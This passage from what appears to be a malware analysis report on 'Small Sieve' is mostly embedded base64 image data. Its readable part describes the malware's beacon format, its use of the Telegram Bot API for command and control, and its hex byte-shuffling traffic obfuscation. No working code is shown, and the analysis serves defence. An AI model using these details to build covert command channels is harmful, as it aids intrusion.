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)\n\n_Figure 2: Manually Generated Beacon_\n\nThe hex host data is encoded using the byte shuffling algorithm as described in the \u201cCommunications (Traffic obfuscation)\u201d section of this report. The example in figure 2 decodes to: \n\n`admin/WINDOMAIN1 | 10.17.32.18`\n\n##### \n\n##### _**Traffic obfuscation **_\n\nAlthough traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm. A Python3 implementation is shown in figure 3.\n\n![](image/png;base64,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